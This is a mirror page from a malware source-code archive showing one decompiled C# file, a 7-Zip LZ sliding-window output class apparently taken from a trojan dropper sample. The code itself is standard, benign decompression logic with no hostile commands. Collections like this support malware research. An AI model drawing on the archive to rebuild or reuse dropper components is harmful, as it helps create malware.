mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
f2ac1ece55
add
90 lines
2.3 KiB
C#
90 lines
2.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: SevenZip.Compression.LZ.OutWindow
|
|
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
|
|
|
using System;
|
|
using System.IO;
|
|
|
|
namespace SevenZip.Compression.LZ
|
|
{
|
|
public class OutWindow
|
|
{
|
|
private byte[] _buffer;
|
|
private uint _pos;
|
|
private uint _windowSize;
|
|
private uint _streamPos;
|
|
private Stream _stream;
|
|
|
|
public void Create(uint windowSize)
|
|
{
|
|
if ((int) this._windowSize != (int) windowSize)
|
|
this._buffer = new byte[(IntPtr) windowSize];
|
|
this._windowSize = windowSize;
|
|
this._pos = 0U;
|
|
this._streamPos = 0U;
|
|
}
|
|
|
|
public void Init(Stream stream, bool solid)
|
|
{
|
|
this.ReleaseStream();
|
|
this._stream = stream;
|
|
if (solid)
|
|
return;
|
|
this._streamPos = 0U;
|
|
this._pos = 0U;
|
|
}
|
|
|
|
public void Init(Stream stream) => this.Init(stream, false);
|
|
|
|
public void ReleaseStream()
|
|
{
|
|
this.Flush();
|
|
this._stream = (Stream) null;
|
|
}
|
|
|
|
public void Flush()
|
|
{
|
|
uint count = this._pos - this._streamPos;
|
|
if (count == 0U)
|
|
return;
|
|
this._stream.Write(this._buffer, (int) this._streamPos, (int) count);
|
|
if (this._pos >= this._windowSize)
|
|
this._pos = 0U;
|
|
this._streamPos = this._pos;
|
|
}
|
|
|
|
public void CopyBlock(uint distance, uint len)
|
|
{
|
|
uint num = (uint) ((int) this._pos - (int) distance - 1);
|
|
if (num >= this._windowSize)
|
|
num += this._windowSize;
|
|
for (; len > 0U; --len)
|
|
{
|
|
if (num >= this._windowSize)
|
|
num = 0U;
|
|
this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++];
|
|
if (this._pos >= this._windowSize)
|
|
this.Flush();
|
|
}
|
|
}
|
|
|
|
public void PutByte(byte b)
|
|
{
|
|
this._buffer[(IntPtr) this._pos++] = b;
|
|
if (this._pos < this._windowSize)
|
|
return;
|
|
this.Flush();
|
|
}
|
|
|
|
public byte GetByte(uint distance)
|
|
{
|
|
uint index = (uint) ((int) this._pos - (int) distance - 1);
|
|
if (index >= this._windowSize)
|
|
index += this._windowSize;
|
|
return this._buffer[(IntPtr) index];
|
|
}
|
|
}
|
|
}
|